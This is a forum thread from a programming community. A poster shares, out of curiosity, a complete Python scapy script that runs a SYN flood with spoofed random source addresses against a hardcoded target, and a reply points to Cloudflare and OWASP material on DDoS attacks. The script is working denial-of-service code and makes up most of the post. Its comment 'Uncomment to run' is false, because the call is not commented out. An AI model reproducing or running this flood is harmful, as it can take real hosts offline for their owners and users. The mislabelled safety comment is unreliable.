this post was submitted on 17 Mar 2026
-20 points (11.5% liked)

Programming

26102 readers
935 users here now

Welcome to the main community in programming.dev! Feel free to post anything relating to programming here!

Cross posting is strongly encouraged in the instance. If you feel your post or another person's post makes sense in another community cross post into it.

Hope you enjoy the instance!

Rules

Rules

  • Follow the programming.dev instance rules
  • Keep content related to programming in some way
  • If you're posting long videos try to add in some form of tldr for those who don't want to watch videos

Wormhole

Follow the wormhole through a path of communities !webdev@programming.dev



founded 2 years ago
MODERATORS
 

I know it's very old now but I still didn't know about this kind of low level attack. I don't even know if it works or not but I still found it interesting.

from scapy.all import *
import random

target_ip = "192.168.1.1"
target_port = 80

def syn_flood():
    while True:
        # Randomize source IP and port
        src_ip = ".".join(map(str, (random.randint(0,255) for _ in range(4))))
        src_port = random.randint(1024, 65535)
        
        ip = IP(src=src_ip, dst=target_ip)
        tcp = TCP(sport=src_port, dport=target_port, flags="S")
        
        send(ip/tcp, verbose=0)

syn_flood()  # Uncomment to run (requires proper authorization)

you are viewing a single comment's thread
view the rest of the comments
[–] TehPers@beehaw.org 2 points 10 hours ago

If you're interested in more DDoS-style attacks, Cloudflare has an article that goes over the topic as a whole as well as in-depth topics for different common attacks. They also have reports that cover the kinds of DDoS attacks they've seen through their servers. You'll notice they mention SYN floods as one of the attacks they commonly see. Amplification attacks have also risen in popularity, generally speaking, where the request gets amplified by vulnerable DNS/NTP/etc servers.

OWASP is an excellent learning resource as well, and covers many different topics in-depth around web security.